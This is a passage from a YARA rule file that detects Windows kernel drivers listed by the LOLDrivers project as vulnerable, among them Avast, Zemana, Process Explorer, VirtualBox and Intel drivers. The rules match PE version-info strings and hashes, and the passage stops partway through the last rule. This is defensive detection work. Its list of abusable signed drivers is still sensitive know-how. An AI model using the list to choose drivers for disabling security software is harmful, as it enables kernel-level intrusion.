		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CtiIo64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109"
		date = "2023-06-14"
		score = 40
		id = "3cc780a4-7b9c-516e-91a1-705f785922d2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430054004900200049004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043007200650061007400690076006500200054006500630068006e006f006c006f0067007900200049006e006e006f0076006100740069006f006e00200043006f002e002c0020004c00540064002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300020007800360034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043007400690049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0030 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004300540049 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Ssmartsoftwaresolutionsgmbh_Sysdrvs_Sysdrvs_0E53
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysDrv3S.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b"
		date = "2023-06-14"
		score = 40
		id = "9ace902a-a3bf-56fa-8eb8-99a82c1adf0b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530079007300440072007600330053 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00330053002d0053006d00610072007400200053006f00660074007700610072006500200053006f006c007500740069006f006e007300200047006d00620048 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c0035002c0036002c0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0035002e0036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530079007300440072007600330053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079007300440072007600330053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530079007300440072007600330053002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300036002d0032003000310034 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_14AD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8"
		date = "2023-06-14"
		score = 40
		id = "0501fc8b-cc72-5c03-97cf-411051119ccf"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_3871
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz_x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3"
		date = "2023-06-14"
		score = 40
		id = "ddcb8217-640d-598d-9afd-a1c15d1bbb8c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_37C6
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
		date = "2023-06-14"
		score = 40
		id = "f4b17a75-3160-5a73-afe6-531c41fae197"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_3143
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
		date = "2023-06-14"
		score = 40
		id = "c0a7d14e-65aa-51e1-a2c1-88a7c56dce57"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e0034002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0034002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003200200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_5439
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
		hash = "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd"
		date = "2023-06-14"
		score = 40
		id = "f35db7b6-8a4b-5c26-9e00-da5c1c7780e8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320031002e00360033 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_30AB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb"
		date = "2023-06-14"
		score = 40
		id = "cd4dd891-8d86-5afa-83ed-1ad0997608de"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00330030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300038 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_DE8F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c"
		date = "2023-06-14"
		score = 40
		id = "245da08c-d629-53cb-83fb-476f4fdd1512"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003100300034 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Supermicrocomputerinc_Phymem_Phymem_1963
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - phymem64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52"
		date = "2023-06-14"
		score = 40
		id = "19673477-eb54-52d7-886e-ebf3216aa77b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007000680079006d0065006d0020004100700070006c00690063006100740069006f006e }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007000680079006d0065006d }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007000680079006d0065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007000680079006d0065006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_16A2
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1"
		hash = "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb"
		date = "2023-06-14"
		score = 40
		id = "826ee893-06af-5dee-9436-ec3ea7ddd8d9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_CFB7
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40"
		date = "2023-06-14"
		score = 40
		id = "e80a43d2-d96f-5fed-a5e1-3e1ea617542a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_C894
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada"
		date = "2023-06-14"
		score = 40
		id = "b4cef531-b146-5c20-b429-a90beaad5712"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Pinduoduoltdcorp_Vboxdrv_Pinduoduosecurevdi_9DAB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4"
		date = "2023-06-14"
		score = 40
		id = "44e2c561-b9f4-5840-9e0c-53ffee5a3bd1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500069006e00640075006f00640075006f0020004c0074006400200043006f00720070 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500069006e00640075006f00640075006f00200053006500630075007200650020005600440049 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d0032003000320031002000500069006e00640075006f00640075006f00200043006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_18DE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506"
		date = "2023-06-14"
		score = 40
		id = "c3b0b3b0-9281-5d90-bf26-6c4c46c4143b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_8CFD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9"
		date = "2023-06-14"
		score = 40
		id = "4affbef6-26ac-5087-a881-32fad34fd192"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_D5C4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9"
		date = "2023-06-14"
		score = 40
		id = "9994e1c0-b86b-578d-8002-554584e1de2b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Wj_Kprocesshacker_7021
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
		date = "2023-06-14"
		score = 40
		id = "dd2a2bfd-12be-5cdb-8293-c51220015bd9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_76E8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524"
		date = "2023-06-14"
		score = 40
		id = "2d26b107-7fcb-5acd-94e4-ed18c399ad66"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00320030002e0030002e0031003000300038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00320030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_1D03
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_HWMIO64_W10.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
		date = "2023-06-14"
		score = 40
		id = "ea157129-3347-5ba0-a115-928b4aef345f"

	strings:
